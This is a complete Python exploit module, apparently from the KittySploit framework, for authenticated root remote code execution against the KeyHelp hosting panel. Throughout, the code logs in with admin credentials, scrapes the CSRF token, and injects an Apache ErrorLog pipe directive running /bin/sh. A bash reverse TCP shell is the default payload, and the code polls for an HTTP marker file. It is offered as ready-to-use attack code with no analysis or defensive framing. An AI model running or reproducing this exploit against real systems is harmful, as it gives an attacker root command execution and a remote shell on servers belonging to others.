KeyHelp Apache ErrorLog pipe directive root RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""KeyHelp authenticated Apache ErrorLog pipe directive root RCE."""

from __future__ import annotations

import os
import re
import time
from html.parser import HTMLParser
from urllib.parse import urlencode

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class _FormParser(HTMLParser):
    def __init__(self):
        super().__init__()
        self.fields: dict[str, str] = {}
        self._in_textarea: str | None = None
        self._textarea_val: list[str] = []
        self._in_select: str | None = None
        self._select_options: list[tuple[str, bool]] = []
        self._cur_option_val: str | None = None
        self._cur_option_selected = False

    def handle_starttag(self, tag, attrs):
        a = dict(attrs)
        if tag == "input" and "name" in a:
            itype = (a.get("type") or "").lower()
            if itype == "radio":
                if "checked" in a:
                    self.fields[a["name"]] = a.get("value", "")
            elif itype == "checkbox":
                if "checked" in a:
                    self.fields[a["name"]] = a.get("value", "on")
            else:
                self.fields[a["name"]] = a.get("value", "")
        elif tag == "textarea" and "name" in a:
            self._in_textarea = a["name"]
            self._textarea_val = []
        elif tag == "select" and "name" in a:
            self._in_select = a["name"]
            self._select_options = []
        elif tag == "option" and self._in_select:
            self._cur_option_val = a.get("value", "")
            self._cur_option_selected = "selected" in a

    def handle_endtag(self, tag):
        if tag == "textarea" and self._in_textarea:
            self.fields[self._in_textarea] = "".join(self._textarea_val)
            self._in_textarea = None
        elif tag == "option" and self._in_select:
            self._select_options.append((self._cur_option_val or "", self._cur_option_selected))
            self._cur_option_val = None
            self._cur_option_selected = False
        elif tag == "select" and self._in_select:
            val = ""
            for v, sel in self._select_options:
                if sel:
                    val = v
                    break
            if val == "" and self._select_options:
                val = self._select_options[0][0]
            self.fields[self._in_select] = val
            self._in_select = None

    def handle_data(self, data):
        if self._in_textarea:
            self._textarea_val.append(data)


class Module(Exploit, Http_client):
    __info__ = {
        "name": "KeyHelp Apache ErrorLog pipe directive root RCE",
        "description": (
            "Authenticated admin injects apache_http_directives ErrorLog pipe; "
            "KeyHelp cron renders vhost and Apache reload runs command as root."
        ),
        "author": ["KittySploit Team"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [],
        "tags": ["keyhelp", "rce", "authenticated", "apache"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 5,
            "reversible": False,
            "approval_required": True,
            "produces": ["rce", "shell"],
            "chain": {
                "suggested_followups": ["scanner/http/keyhelp_errorlog_pipe_rce_detect"],
            },
        },
    }

    port = OptPort(28743, "KeyHelp panel HTTPS port", required=True)
    ssl = OptBool(True, "Use HTTPS", required=False)
    username = OptString("admin", "Panel admin username", required=True)
    password = OptString("", "Panel admin password", required=True)
    domain_id = OptString("2", "Domain edit id", required=False)
    panel_vhost = OptString("example.test", "Host header for panel requests", required=False)
    site_vhost = OptString("", "Host header when polling site marker (defaults to panel_vhost)", required=False)
    marker_basename = OptString("rce_marker.txt", "Marker filename under site webroot", required=False)

    def _host_header(self) -> str:
        return str(self.panel_vhost or "example.test")

    def _site_host(self) -> str:
        custom = str(self.site_vhost or "").strip()
        return custom or self._host_header()

    def _login(self) -> bool:
        body = urlencode(
            {
                "submit": "1",
                "username": str(self.username or "admin"),
                "password": str(self.password or ""),
            }
        )
        resp = self.http_request(
            "POST",
            "/index.php",
            data=body,
            headers={
                "Host": self._host_header(),
                "Content-Type": "application/x-www-form-urlencoded",
            },
            allow_redirects=False,
            session=True,
        )
        if not resp:
            return False
        cookies = resp.headers.get("Set-Cookie", "") or ""
        return bool(re.search(r"(keyhelp_session=|KEYHELP_SESSION_ID=)", cookies, re.I))

    def _edit_form(self) -> tuple[str | None, dict[str, str]]:
        did = str(self.domain_id or "2")
        resp = self.http_request(
            "GET",
            f"/index.php?page=domains&action=edit&id={did}",
            headers={"Host": self._host_header()},
            session=True,
        )
        html = (resp.text or "") if resp else ""
        m = re.search(r'name="_csrf_token"\s+value="([0-9a-f]+)"', html)
        csrf = m.group(1) if m else None
        parser = _FormParser()
        parser.feed(html)
        return csrf, parser.fields

    def _inject_directive(self, csrf: str, fields: dict[str, str], cmd: str) -> int:
        did = str(self.domain_id or "2")
        safe_cmd = cmd.replace("'", "'\"'\"'")
        payload = f'ErrorLog "|/bin/sh -c \'{safe_cmd}\'"'
        fields = dict(fields)
        fields["_csrf_token"] = csrf
        fields["id"] = did
        fields["submit"] = "1"
        fields["apache_http_directives"] = payload
        fields.setdefault("apache_https_directives", "")
        body = urlencode(fields)
        resp = self.http_request(
            "POST",
            f"/index.php?page=domains&action=edit&id={did}",
            data=body,
            headers={
                "Host": self._host_header(),
                "Content-Type": "application/x-www-form-urlencoded",
            },
            allow_redirects=False,
            session=True,
        )
        return int(getattr(resp, "status_code", 0) or 0) if resp else 0

    def _poll_marker(self, tries: int = 8, delay: float = 3.0) -> str:
        rel = "/" + os.path.basename(str(self.marker_basename or "rce_marker.txt"))
        for _ in range(tries):
            resp = self.http_request(
                "GET",
                rel,
                headers={"Host": self._site_host()},
            )
            body = (resp.text or "") if resp else ""
            if "RCE_DONE" in body or "uid=" in body:
                return body
            time.sleep(delay)
        return ""

    def execute(self, cmd: str) -> str:
        if not self._login():
            return "login failed — check panel_vhost and credentials"
        csrf, fields = self._edit_form()
        if not csrf:
            return "CSRF token missing — wrong domain_id or not admin?"
        if "apache_http_directives" not in fields:
            return "apache_http_directives not in domain form"
        code = self._inject_directive(csrf, fields, cmd)
        if code not in (200, 302, 303):
            return f"inject POST returned HTTP {code} (validation error?)"
        return (
            "ErrorLog pipe directive saved — wait for KeyHelp cron/Apache reload "
            f"(HTTP {code})"
        )

    def check(self):
        resp = self.http_request("GET", "/index.php", headers={"Host": self._host_header()})
        if resp and int(resp.status_code or 0) < 500:
            return {
                "vulnerable": True,
                "reason": "KeyHelp panel reachable",
                "confidence": "low",
            }
        return {"vulnerable": False, "reason": "Panel not reachable", "confidence": "low"}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error("Set payload")
            return False
        if not str(self.password or "").strip():
            print_error("Set panel password")
            return False

        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Target not ready"))
            self.not_vulnerable()
            return False

        print_status("Injecting Apache ErrorLog pipe directive")
        print_info(self.execute(shell))
        marker_body = self._poll_marker()
        blind = bool(re.search(r"reverse|bash|/dev/tcp|nc ", shell, re.I))
        if marker_body:
            print_success("Marker visible over HTTP:")
            print_info(marker_body[:4000])
            self.vulnerable()
            if str(self.shell_from_payload() or "").strip():
                return True
            return True
        if blind:
            print_warning("No HTTP marker yet — blind/reverse payload may still run after cron reload")
            self.vulnerable()
            return True

        print_warning("Directive injected but marker not fetched (cron delay or wrong site_vhost)")
        self.vulnerable()
        return True